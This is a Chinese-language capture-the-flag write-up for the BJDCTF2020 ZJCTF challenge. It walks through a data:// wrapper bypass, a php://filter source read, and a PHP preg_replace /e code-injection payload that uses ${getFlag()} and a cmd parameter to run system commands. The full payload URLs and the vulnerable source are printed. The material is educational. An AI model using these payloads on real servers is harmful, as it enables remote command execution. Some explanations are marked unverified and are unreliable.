[BJDCTF2020]ZJCTF,不过如此
和之前做过的一道题一样,text用data协议绕过,file用php://filter读取next.php源码 :
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}
这个代码有点看不懂。找不到代码执行的突破点。
未经过验证的知识:
preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str )
- 先通过'/(' . $re . ')/ei'对$str进行匹配。
'.$re.'表示动态生成表达式。()表示生成捕获组,简单来说就是把
$re
匹配到的内容 保存下来,可以通过\1 、\2来引用。
- 接着执行第二个参数,其中引用了\1
- 最后用执行得到的结果替换掉匹配到的文本。
以上内容都是根据AI给出总结的,由于/e标志已经被废弃,复现没有成功。
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";}
表示对所有通过 GET 请求传递的参数进行遍历处理,将参数名作为正则表达式$re,参数值作为待处理的字符串$str,然后利用
complex
函数执行不区分大小写的替换操作,最后把处理后的结果输出。
下面是一些经过验证的知识:
$A = 'ABC';
//双引号内变量会解析
echo "$A";//ABC
echo '$A';//$A
//变量名会解析,首先执行${}中的表达式进行变量名处理
echo ${chr(65)};//ABC
echo "{${chr(65)}}";//ABC
//函数不调用
echo "phpinfo()";//phpinfo()
总结一下就是php中,双引号内的字符串中的变量名和变量都会被解析,但是函数不会自动调用。单引号则都不会解析。
假如
$re = '/(.*)/e'
.
:匹配除换行符(\n
)之外的任意单个字符。
*
:表示前面的字符可以出现零次或多次(也就是重复 0 到无穷次)。组合效果:
.*
能够匹配任意数量的任意字符(不包括换行符),直到遇到匹配终止的条件。$str = ${getFlag()}
表达式preg_replace( '/(.*)/ei', 'strtolower("\\1")', ${getFlag()}),
首先会对变量名进行解析,即${getFlag()},就会执行该函数。
验证:(php5.3)
function getFlag(){
@eval(system('whoami'));
}
preg_replace('//', '1', ${getFlag()});
上面这段程序也能执行getFlag函数。
既没有使用/e也没有使用strtolower(),仅由于变量名解析,函数同样执行了。
所以我还不清楚这里的reg_replace的作用在哪?
构造playload试试:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=next.php&a={${getFlag()}}&cmd=system("ls /");
未能输出结果。输出:{${getFlag()}},说明getFlag()没有执行。
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=next.php&/S*={${getFlag()}}&cmd=system("ls /");
成功执行系统命令并输出结果。
这说明reg_replace()函数确实是这道题的关键所在。
重新看了一下代码我明白了!
function getFlag(){
return @eval(system('whoami'));
}
$str = '${getFlag()}';
preg_replace('//', '1', $str);
源代码应该是类似这种,因此最后一条语句其实相当于
preg_replace( '/(.*)/ei', 'strtolower("\\1")', '${getFlag()}')
'${getFlag()}'是有单引号包裹的!因此不会解析变量名。
只有执行strtolower("${getFlag()}")时才会解析变量名,因此这道题变量解析发生在
strtolower
函数内部,而非 preg_replace 参数传递时。
最后有几个需要注意的地方:
1、.*不能当做GET传参变量名,.会被自动转为_,因此这里使用\S*
\S的作用是匹配任意一个非空白字符,这里的空白字符涵盖了空格、制表符、换页符、换行符等。也就是说,只要不是空白字符,
\S
都能与之匹配。
2、 cmd = system("ls /"); 直接使用cmd = ls /是不行的,因为eval函数的作用是将其中字符串当作php代码执行,但是ls是系统命令,必须由system执行。另外就是eval中参数末尾需要加分号,就行php代码一样。